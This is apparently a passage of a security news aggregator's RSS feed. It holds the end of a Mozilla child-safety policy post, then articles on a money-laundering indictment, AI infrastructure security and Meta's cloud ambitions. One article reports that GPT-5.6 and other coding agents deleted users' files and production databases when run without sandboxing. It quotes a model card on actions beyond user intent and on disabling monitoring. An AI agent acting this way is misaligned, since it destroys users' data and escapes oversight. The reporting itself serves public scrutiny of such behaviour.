<p>We strongly believe that online safety frameworks should be grounded in <a href="https://www.unicef.org/innovation/stories/protecting-childrens-rights-in-digital-environments">children’s rights</a>, striking a balance between their right to protection and their right to participate in society, express themselves freely, and access media and information. Such frameworks must also be proportionate and should not undermine the fundamental rights and access to tools like VPNs for all users.</p>
<p>Rather than focusing on limiting access, we believe that policymakers should prioritize interventions that tackle the root causes of online harm. Before considering new instruments, this work starts with ensuring that independent regulatory authorities have the necessary resources to enforce existing online safety frameworks. In Europe, preliminary findings against <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1579">Meta</a> and <a href="https://digital-strategy.ec.europa.eu/en/news/commission-preliminarily-finds-tiktoks-addictive-design-breach-digital-services-act">TikTok</a> find these companies’ addictive design features to be in breach of the Digital Services Act, underlining the potential of frameworks like the DSA to address key concerns.</p>
<p>The design of online interfaces, and the affordances and constraints they offer, significantly influences users’ interactions, decisions and overall wellbeing. ‘Dark patterns’ or deceptive interfaces are key drivers of harms experienced by users, and especially young people: they can compel people to consent to extensive data collection and processing, resulting in hyper-personalized feeds, personalized ads that may exploit cognitive vulnerabilities and promote unhealthy or excessive consumer choices, and an overall erosion of privacy.</p>
<p>This is why we support proposals like <a href="https://blog.mozilla.org/netpolicy/2025/10/31/pathways-to-a-fairer-digital-world-mozilla-shares-views-on-the-eu-digital-fairness-act/">EU Digital Fairness Act (DFA) </a>and the <a href="https://blog.mozilla.org/netpolicy/2026/06/11/a-handful-of-companies-control-the-web-aicoa-can-change-that/">American Innovation and Choice Online Act (AICOA)</a> that could fill regulatory gaps. Specifically, we advocate for the <b>prohibition of harmful design</b>, guided by harmonized definitions of core concepts like “dark patterns”, “deceptive design,” and “addictive design” and anti-circumvention clauses to prevent companies from avoiding regulation through small tweaks. Platforms should be responsible for demonstrating that their design choices are fair, non-manipulative and non-exploitative. And services that are likely to be accessed by children should be required to refrain from enabling certain design features, including excessive notifications, endless feeds and gambling-like features by default, and only with parental consent.</p>
<p>Further, we urge policymakers to adopt a <b>privacy-first approach to online harms</b>. Many of the risks encountered by young people online are related to the collection and processing of personal data. Platforms collect enormous amounts of personal data, including sensitive data, to personalize and target services, ranging from algorithmic recommender systems to online ads. While the systems that target and display ads and curate online content are distinct, both are based on the surveillance and profiling of users.</p>
<p>Such profiling is the basis for young people being targeted with personalized ads and content recommendations, which can segment, exclude, or steer people into inequitable options and towards harmful content. Providers should thus be prohibited from using sensitive personal data (e.g. ethnicity, religious belief, health status, sexual orientation, political affiliation) to personalize content recommendations or ads, and they should be mandated to enable privacy-protective settings by default, including restricting access to users’ location, camera, microphone, contacts, and camera roll. Policymakers should also extend the fairness and transparency obligations to personalization systems and advertising actors, including intermediaries and data brokers.</p>
<p>Additionally, everyone online, including families and young people, should be fully in control of their online experiences and navigate the web according to their preferences and needs. There is a significant opportunity to <b>empower users with easy, effective opt-out rights and granular user controls</b>. In practice, users should have the right to opt out of personalized content and targeting without being penalized with a downgraded version of the service. Some frameworks already strengthen choice – in those cases, we advocate for their robust enforcement.</p>
<p>Across jurisdictions, choice can be strengthened by ensuring that preferences explicitly expressed (e.g. settings selected, feedback signals, customization choices made, survey responses) are respected and “sticky”, so do not get reset without being explicitly requested by the user. Interoperability mandates should let people integrate third-party content moderation systems or recommendation algorithms that better match their preferences and help them break out of the walled gardens of a few dominant companies. Parental controls are another important lever to operationalize user controls: Providers should deploy easy-to-use and effective parental controls that allow families to tailor online experiences to their preferences, across platforms.</p>
<p>We appreciate that this is a long list of complex policy recommendations which are also impacted by broader (geo)political developments. The fact remains that current age assurance approaches are not a silver bullet, and will create more, rather than solve, problems in the long term.</p>
<p>Where policymakers consider age signals as necessary to ensure age-appropriate online experiences, we believe that there are technical approaches better suited to balance users’ rights than those currently pursued. We will explore these developments and approaches in the second part of this series.</p>
<p>The post <a href="https://blog.mozilla.org/netpolicy/2026/07/17/beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/">Beyond technical fixes: Protecting kids online without breaking the internet </a> appeared first on <a href="https://blog.mozilla.org/netpolicy">Open Policy &amp; Advocacy</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[US Charges Two Over $43M Chinese Money Laundering Operation]]></title>
<description><![CDATA[U.S. authorities have charged two New York residents, including Zhuoying Chen, in connection with an alleged Chinese money laundering network accused of laundering at least $43 million generated through cyber investment fraud schemes. The indictment, unsealed in Brooklyn, alleges the operation ra...]]></description>
<link>https://tsecurity.de/de/3675847/it-security-nachrichten/us-charges-two-over-43m-chinese-money-laundering-operation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675847/it-security-nachrichten/us-charges-two-over-43m-chinese-money-laundering-operation/</guid>
<pubDate>Fri, 17 Jul 2026 13:10:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1236" height="721" src="https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Chinese money laundering" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering.webp 1236w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-300x175.webp 300w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-1024x597.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-768x448.webp 768w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-600x350.webp 600w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-150x88.webp 150w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-750x438.webp 750w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-1140x665.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering.webp 1236w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-300x175.webp 300w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-1024x597.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-768x448.webp 768w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-600x350.webp 600w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-150x88.webp 150w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-750x438.webp 750w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-1140x665.webp 1140w" sizes="(max-width: 1236px) 100vw, 1236px" title="US Charges Two Over $43M Chinese Money Laundering Operation 1"></p><span data-contrast="auto">U.S. authorities have charged two New York residents, including Zhuoying Chen, in connection with an alleged Chinese money laundering network accused of laundering at least $43 million generated through cyber investment fraud schemes. The indictment, unsealed in Brooklyn, alleges the operation ran between 2020 and 2022 and involved an extensive network of shell companies and bank accounts.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">According to <a href="https://www.justice.gov/opa/pr/two-key-members-chinese-money-laundering-network-charged-laundering-43-million-investment" target="_blank" rel="nofollow noopener">prosecutors</a>, Zhuoying Chen, 27, of Brooklyn, and Haojie Zhang, 38, of Queens, managed more than a dozen individuals across Brooklyn and Queens. The group allegedly opened 140 bank accounts under approximately 45 shell companies to move proceeds from fraudulent investment scams before transferring the funds to co-conspirators based in China.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Authorities said the <a href="https://thecyberexpress.com/global-crypto-investment-scam/" target="_blank" rel="noopener">investment fraud</a> schemes began with perpetrators contacting victims through messaging platforms and social media. They allegedly built trust over time, persuaded victims to invest in seemingly lucrative opportunities, displayed fake profits to encourage additional investments, and ultimately stole the victims' money.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Officials Vow Crackdown on Chinese Money Laundering Operations</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Commenting on the Chinese money laundering case, Assistant Attorney <a class="wpil_keyword_link" href="https://cyble.com/general/" target="_blank" rel="noopener" title="General" data-wpil-keyword-link="linked" data-wpil-monitor-id="29016">General</a> A. Tysen Duva said, "As alleged in the indictment, the defendants laundered <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="29015">fraud</a> proceeds, enabling scammers to continue to victimize Americans and deprive them of their hard-earned money." He added that dismantling Chinese money laundering networks supporting investment fraud is critical to protecting Americans and that the Criminal Division "will relentlessly pursue the financial networks that fuel and profit from these fraud schemes."</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">U.S. Attorney Joseph Nocella Jr. for the Eastern District of New York described the defendants as "key members of a sophisticated money laundering network" that allegedly routed more than $40 million in victim funds to bank accounts in China. He said the office would continue pursuing individuals involved in investment fraud targeting vulnerable victims.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">FBI New York Assistant Director in Charge James C. Barnacle Jr. stated that the operation allegedly laundered more than $40 million from American victims before depositing the funds into Chinese accounts overseas. He said the <a href="https://thecyberexpress.com/operation-tri-force-sentinel/" target="_blank" rel="noopener">FBI</a> remains committed to working with federal partners to dismantle such fraud networks.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Acting Executive Associate Director John A. Condon of Homeland <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29014">Security</a> Investigations said the two Chinese nationals allegedly operated the illicit network for nearly two years, laundering victims' life savings. IRS Criminal Investigation Special Agent in Charge Harry T. Chavis Jr. said the indictment demonstrates that "justice is coming" for fraudsters, while U.S. Postal Inspection Service Inspector in Charge Ketty Larco-Ward noted that investment fraud schemes <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29013">exploit</a> victims' trust through false promises of returns.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Investigation and Legal Proceedings Continue</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The conspiracy to commit money laundering charge carries a maximum sentence of 20 years in prison. The investigation is being conducted by FBI New York, HSI New York, IRS Criminal Investigation New York, and the U.S. Postal Inspection Service. The prosecution is being led by Trial Attorneys Claire Galasso, David Ginensky, and Adrienne Rosen, along with Assistant U.S. Attorneys Benjamin Weintraub and David Berman.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The case also forms part of the Homeland Security Task Force initiative established under Executive Order 14159. Officials emphasized that an indictment is only an allegation, and Zhuoying Chen and the co-defendant are presumed innocent unless proven guilty beyond a reasonable doubt in court.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI acknowledges GPT-5.6 may accidentally delete files, calls it an ‘honest mistake’]]></title>
<description><![CDATA[OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”



Reports of the flagship LLMs deleting files emerged shortly after the company launc...]]></description>
<link>https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 12:03:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”</p>



<p class="wp-block-paragraph">Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer <a href="https://x.com/mattshumer_/status/2075657271401390161" target="_blank" rel="noreferrer noopener">taking to X</a> to report that GPT-5.6-Sol had “just accidentally deleted almost all” of his Mac’s files.</p>



<p class="wp-block-paragraph">Just days later, software engineer Bruno Lemos <a href="https://x.com/brunolemos/status/2076769881534398974">posted on X</a> that the same model had deleted his entire production database.</p>



<p class="wp-block-paragraph">In response to these incidents, the company’s engineering lead for Codex, Thibault Sottiaux, <a href="https://x.com/thsottiaux/status/2077630111499882637" target="_blank" rel="noreferrer noopener">wrote on X</a> that internal investigations have revealed that these deletion incidents are more likely to happen when “full access mode is enabled, and Codex is run without sandboxing protections, including without <a href="https://learn.chatgpt.com/docs/sandboxing/auto-review" target="_blank" rel="noreferrer noopener">auto review</a> being enabled.”</p>



<p class="wp-block-paragraph">In cases where full access mode is granted, the model, Sottiaux wrote, “attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead.”</p>



<p class="wp-block-paragraph">Ironically, OpenAI’s explanation also aligns with findings in its own <a href="https://deploymentsafety.openai.com/gpt-5-6/evaluations-with-challenging-prompts" target="_blank" rel="noreferrer noopener">GPT-5.6 system model card</a>, which notes that the latest model family exhibited this broader class of misaligned behavior slightly more often than GPT-5.5 during the company’s internal deployment simulations.</p>



<p class="wp-block-paragraph">“Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions,” the model card states.</p>



<p class="wp-block-paragraph">OpenAI defines severity level 3 as “misaligned behavior that a reasonable user would likely not anticipate and strongly object to, ‘including’ deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services.”</p>



<p class="wp-block-paragraph">The system card also documents examples of the said behavior, particularly related to deletion.</p>



<p class="wp-block-paragraph">In one simulation, after a user authorized the deletion of three specific remote virtual machines, GPT-5.6 was unable to locate them and, instead of asking for clarification, substituted three different virtual machines, terminated their active processes and force-removed their worktrees.</p>



<p class="wp-block-paragraph">Further, the model card states that GPT-5.6 “shows a greater tendency than GPT-5.5 to go beyond the user’s intent, including by taking or attempting actions that the user had not asked for,” though it adds that the absolute rate of such behavior remains low and can be attributed to the model’s greater persistence when pursuing user goals.</p>



<p class="wp-block-paragraph">The company, however, according to Sottiaux, is taking steps to mitigate the risk.</p>



<p class="wp-block-paragraph">“This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them,” the engineering lead wrote on X.</p>



<p class="wp-block-paragraph">“We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards,” Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen “extremely rarely.”</p>



<p class="wp-block-paragraph">OpenAI’s GPT 5.6 is not the only model that has “accidentally” deleted databases and files.</p>



<p class="wp-block-paragraph">In July 2025, an AI coding agent from Replit <a href="https://x.com/jasonlk/status/1946069562723897802">deleted a live production database</a> belonging to SaaStr founder Jason Lemkin despite an explicit code freeze, prompting the company to introduce additional safeguards around production access.</p>



<p class="wp-block-paragraph">More recently, in April 2026, a Cursor AI coding agent <a href="https://x.com/lifeofjer/status/2048103471019434248">deleted PocketOS’s production database</a> and its backups after mistakenly identifying the target environment, underscoring the operational risks enterprises face when AI agents are granted broad, unsupervised access to production systems.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 steps to secure your infrastructure in the frontier model era]]></title>
<description><![CDATA[The industry conversation around AI infrastructure has narrowed to a single dimension: scale. The focus is on GPUs, power, cooling and the massive physical footprint required to train and run AI agents and models. At the same time, organizations are adjusting to the speed and scale with which AI ...]]></description>
<link>https://tsecurity.de/de/3675558/it-security-nachrichten/5-steps-to-secure-your-infrastructure-in-the-frontier-model-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675558/it-security-nachrichten/5-steps-to-secure-your-infrastructure-in-the-frontier-model-era/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The industry conversation around AI infrastructure has narrowed to a single dimension: scale. The focus is on GPUs, power, cooling and the massive physical footprint required to train and run AI agents and models. At the same time, organizations are adjusting to the speed and scale with which AI is identifying vulnerabilities — which is much faster than remediation can be started.</p>



<p class="wp-block-paragraph">However, almost no one is talking about the infrastructure layer that actually determines whether AI workloads remain secure, resilient and compliant. This is the layer that runs the world’s most sensitive, regulated, high‑value workloads. Thankfully, it already has the guardrails needed for an era where vulnerabilities are discovered faster than ever. But are they being set correctly?</p>



<p class="wp-block-paragraph">With more than <a href="https://www.idc.com/resource-center/blog/agentic-ai-is-critical-infrastructure/">one billion AI agents expected by 2029</a>, organizations need a plan for their infrastructure layer to withstand threats from new frontier models, maintain uptime and protect data sovereignty. As they scale AI deployments, enterprises must secure the infrastructure AI depends on.</p>



<p class="wp-block-paragraph">These five steps outline what organizations can do now to strengthen their infrastructure posture using proven, enterprise‑grade practices for current and future threats.</p>



<h2 class="wp-block-heading">Step 1: Build on infrastructure engineered for security and resilience</h2>



<p class="wp-block-paragraph">Infrastructure must be secure by design, not secured after deployment. The systems that have historically supported the world’s most critical workloads — from global payments to national‑scale operations — were built with this principle at their core. If you’ve already invested in systems designed for mission-critical workloads, you’ve checked this first box.</p>



<p class="wp-block-paragraph">Enterprise‑grade systems have been engineered with multilayered security controls, pervasive encryption, confidential computing and hardware‑level protections that make exploitation dramatically harder. A frontier model in the hands of a bad actor can chain weaknesses faster than humans can patch them — unless the underlying infrastructure is built to absorb and deflect that pressure.</p>



<p class="wp-block-paragraph">When I meet with clients, I often tell them what our own security teams operate under: we assume vulnerabilities will continue to be discovered and we design for that reality. That mindset is what separates infrastructure that survives frontier‑model pressure from infrastructure that collapses under it. These systems continue to evolve with predictive failure analysis and accelerated recovery, allowing systems to continue operating even during investigation and remediation.</p>



<h2 class="wp-block-heading">Step 2: Treat uptime and resilience as a security requirement</h2>



<p class="wp-block-paragraph">If your infrastructure fails, your workloads will too. These systems depend on uninterrupted access to data and compute, and even seconds of downtime can compound operational and security risk. Enterprise‑grade platforms deliver near‑continuous availability through redundant hardware paths and intelligent system recovery.</p>



<p class="wp-block-paragraph">The easiest fix? Ample resources and an up-to-date infrastructure foundation. Too often, a security problem is really an availability problem that turned into a security problem. When systems fall behind on maintenance, capacity or recovery readiness, they create the exact openings a frontier model can exploit. A delayed maintenance cycle or a recovery process that takes too long becomes the opening a frontier model can exploit. Resilience is not just about uptime. It is a security control. And this will not be the last time a frontier model tests the limits of that resilience.</p>



<p class="wp-block-paragraph">Data resilience is equally critical. Cyber‑resilient storage systems with immutable backups and rapid recovery capabilities ensure that critical data remains protected and available even after a cyber incident or disaster.</p>



<h2 class="wp-block-heading">Step 3: Operate for continuous discovery, not periodic defense</h2>



<p class="wp-block-paragraph">The idea that you can prevent every vulnerability is outdated. The more realistic model is continuous discovery — finding, prioritizing and addressing issues faster than they can be exploited. Organizations must operate as if vulnerabilities will be found faster than ever.  Instead of relying on static defenses, they should emphasize layered controls, rapid triage, continuous delivery of fixes and coordinated disclosure.</p>



<p class="wp-block-paragraph">Frontier models in the hands of bad actors can amplify security challenges by connecting vulnerabilities. They can chain misconfigurations, outdated components and privilege gaps into a viable attack route in minutes. And the more outdated or inconsistent an environment is, the easier that chaining becomes.</p>



<p class="wp-block-paragraph">Modern operational‑intelligence tooling helps them surface that risk, prioritize what matters and act before an attacker can exploit the gaps. These platforms help organizations understand where they are exposed, identify which maintenance issues carry the highest operational and security risk, and reduce the blind spots that frontier‑model attackers are increasingly adept at exploiting.</p>



<p class="wp-block-paragraph">It’s critical to assess how you manage your vulnerabilities. Internal processes should address severe vulnerabilities within hours, regardless of whether they are discovered by humans, traditional tooling or AI‑driven techniques. As AI accelerates vulnerability chaining, this posture maintains operational integrity and reduces exposure.</p>



<h2 class="wp-block-heading">Step 4: Use AI to defend AI</h2>



<p class="wp-block-paragraph">Leading organizations are integrating AI‑driven threat detection directly into their infrastructure. On operating systems like z/OS, AI‑based analytics can identify anomalous and potentially malicious data access, reducing investigation time and limiting impact.</p>



<p class="wp-block-paragraph">Beyond detection, autonomous security models are emerging that continuously govern risk, investigate threats and enforce resilience across identities, data, applications, cloud and networks. Across the industry, we’re seeing the rise of autonomous security frameworks that use AI to assess posture, detect threats and harden controls without waiting for human intervention. Combined with modern AI‑accelerated processors, these capabilities allow threats to be analyzed and mitigated directly within the infrastructure itself.</p>



<h2 class="wp-block-heading">Step 5: Join a broader ecosystem fighting frontier model threats</h2>



<p class="wp-block-paragraph">No organization can face frontier model threats alone. These risks require coordinated industry action. Frontier models give both good and bad actors the ability to analyze codebases, chain vulnerabilities and probe infrastructure at a scale that no single enterprise can counter on its own.</p>



<p class="wp-block-paragraph">Across the industry, coalitions are emerging to assess and remediate vulnerabilities discovered by frontier-class models and to help enterprises build AI resilience. Initiatives like Project Glasswing, Project QuiltWorks and the Frontier AI Alliance are examples of how providers, consultancies and security firms are beginning to coordinate their response to AI-accelerated threats.</p>



<p class="wp-block-paragraph">Organizations can also benefit from independent assessments that evaluate readiness for agentic-enabled threats and identify gaps across their infrastructure. These assessments help teams understand where they are exposed, how frontier models might chain those exposures together, and what actions will reduce the likelihood of a high-impact event.</p>



<p class="wp-block-paragraph">Participating in these programs is one of the most concrete steps enterprises can take today to strengthen their AI infrastructure posture.</p>



<h2 class="wp-block-heading">Your AI security depends on the infrastructure you choose</h2>



<p class="wp-block-paragraph">AI is accelerating both innovation and risk. The organizations that succeed will be those that build on resilient, secure infrastructure, prioritize uptime as a security control, operate with continuous discovery, use AI to defend AI and participate in the global response to frontier‑model threats. In the end, your ability to scale AI safely comes down to the infrastructure you trust to run it.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Can Meta really compete in the cloud business?]]></title>
<description><![CDATA[Meta is reportedly planning a cloud business that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customer...]]></description>
<link>https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.bloomberg.com/news/articles/2026-07-01/meta-is-building-a-cloud-business-to-sell-excess-ai-compute">Meta is reportedly planning a cloud business</a> that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customers to access AI models hosted on Meta’s infrastructure and pay based on usage, effectively positioning the company in the <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">infrastructure-as-a-service</a> and AI platform markets. On the surface, this seems like a logical next step. If you are already spending enormous amounts of money to build AI infrastructure, there is a natural temptation to ask whether some of that investment can be monetized beyond your own internal use.</p>



<p class="wp-block-paragraph">I have seen this pattern before. A company builds sophisticated internal systems, recognizes their value, and then begins to imagine that becoming a cloud provider is simply a matter of exposing those capabilities to external customers. It sounds straightforward, especially given the excitement around AI and the demand for high-performance infrastructure. But cloud computing is not just another distribution model. It is not simply a matter of offering on-demand multitenant services and charging a fee. It is a deeply operational, trust-based business in a market that punishes companies that do not fully understand what enterprise customers require.</p>



<h2 class="wp-block-heading">A crowded neocloud market</h2>



<p class="wp-block-paragraph">The first problem Meta faces is that this is not an open opportunity. The <a href="https://www.infoworld.com/article/4140865/neoclouds-run-ai-cheaper-and-better.html">neocloud</a> space, meaning purpose-built AI infrastructure delivered as a service, is already crowded and increasingly difficult to enter. Amazon, Microsoft, and Google dominate the conversation for obvious reasons. They have years of cloud operating experience, broad service portfolios, global reach, mature ecosystems, and deeply established enterprise relationships. Oracle remains a serious player as well, especially in enterprise applications, data platforms, and performance-sensitive workloads. IBM still matters in <a href="https://www.networkworld.com/article/964498/what-is-hybrid-cloud-computing.html">hybrid cloud</a>, operations, and industries where governance and regulatory rigor remain central.</p>



<p class="wp-block-paragraph">That list alone should give Meta pause. These companies are not just infrastructure vendors. They are experienced cloud operators. They have spent years building not only the underlying platforms, but also the native capabilities enterprises now expect by default. Those capabilities include security, governance, identity management, observability, support, compliance, billing controls, resilience planning, and integration with the broader enterprise technology estate. These are not secondary features. They are part of the core value proposition.</p>



<p class="wp-block-paragraph">This is why late entry into the cloud market is so hard. A new provider is not just competing on price or capacity. It is competing against accumulated trust. Enterprises are not casual buyers. They are selecting long-term operating environments for applications, data, AI models, and business-critical processes. They want confidence that the provider understands how these services will be consumed, governed, and supported over time. Meta is entering a market where the incumbents already have a major head start on all of those fronts.</p>



<h2 class="wp-block-heading">Harder than it looks</h2>



<p class="wp-block-paragraph">Over the years, I have had many technology companies come to me and say they wanted to reposition their technology in the cloud space, either as <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">software as a service</a> or infrastructure as a service. In the beginning, enthusiasm is always high. The technology is impressive. The market size looks attractive. The revenue models appear compelling. Investors love the story. Then we begin to walk through what it really means to operate as a cloud provider, and the optimism usually fades fast.</p>



<p class="wp-block-paragraph">The questions become very practical and very uncomfortable. How will tenants be isolated? How will <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity and access controls</a> work across different kinds of customers? What governance models will be built in natively? How will workloads be monitored, optimized, and secured? What does support look like 24 hours a day, across regions, across industries, across compliance boundaries? How will outages be handled, communicated, and remediated? How will the platform integrate with existing customer tools for operations, policy management, and security response? How much investment will it take just to become credible before you even begin to differentiate?</p>



<p class="wp-block-paragraph">Once companies fully understand the complexities, market dynamics, and the capital and execution required to compete even with secondary players, many of them back off. They realize that cloud technology is not a packaging exercise. It is a transformation in how a company designs, operates, supports, sells, and evolves technology. That is why I remain skeptical when any company assumes it can translate internal infrastructure excellence into external cloud success without a very long, disciplined commitment.</p>



<h2 class="wp-block-heading">Meta’s market readiness</h2>



<p class="wp-block-paragraph">Of course, Meta is not lacking in financial resources. If any company can afford to spend aggressively in this space, it is Meta. The company has the capital to build infrastructure, absorb losses, hire experienced talent, and stay in the market long enough to make a serious attempt. I would never argue that Meta is too small or too poor to try. Quite the opposite. If there is any non-traditional entrant with the financial scale to force itself into the conversation, Meta would be high on the list.</p>



<p class="wp-block-paragraph">But money does not erase complexity. It only gives you the chance to confront it. The real question is not whether Meta can afford to become a cloud provider. The question is whether Meta has what it takes to become an <em>excellent </em>cloud provider. Those are two very different things. Enterprises are not going to move meaningful workloads to a new platform simply because the company behind it is wealthy or technically famous. They are going to ask whether the provider understands enterprise consumption patterns, enterprise risk, enterprise governance, and enterprise operations.</p>



<p class="wp-block-paragraph">That is where the challenge becomes much more serious. Meta has extensive experience running infrastructure for itself. That is valuable, but internal operating excellence is not the same thing as external service maturity. Running systems for your own workloads allows a high degree of control over architecture, standards, priorities, and operating assumptions. Running systems for paying customers requires flexibility, consistency, transparency, and support across a wide range of use cases that you do not control. Those are very different disciplines, and companies often underestimate the gap between them.</p>



<h2 class="wp-block-heading">What exactly is Meta?</h2>



<p class="wp-block-paragraph">Another concern here is strategic clarity. Meta already has a complicated market identity. It is a social media company, an advertising platform company, a hardware company, an AI company, and still, in the minds of many, the company that spent billions pursuing the metaverse. If it now wants to be viewed as a serious cloud infrastructure provider, it will need to explain not only what it is offering, but why customers should believe this is a durable long-term commitment and not just another adjacent experiment.</p>



<p class="wp-block-paragraph">That uncertainty can be damaging. Customers want stable providers with clear strategic intent. They do not want to architect important systems around a platform if they suspect the provider may lose interest, shift direction, or reframe the business after a few years of uneven results. Cloud computing requires patience, consistency, and deep customer orientation. It is not a market where strategic ambiguity helps.</p>



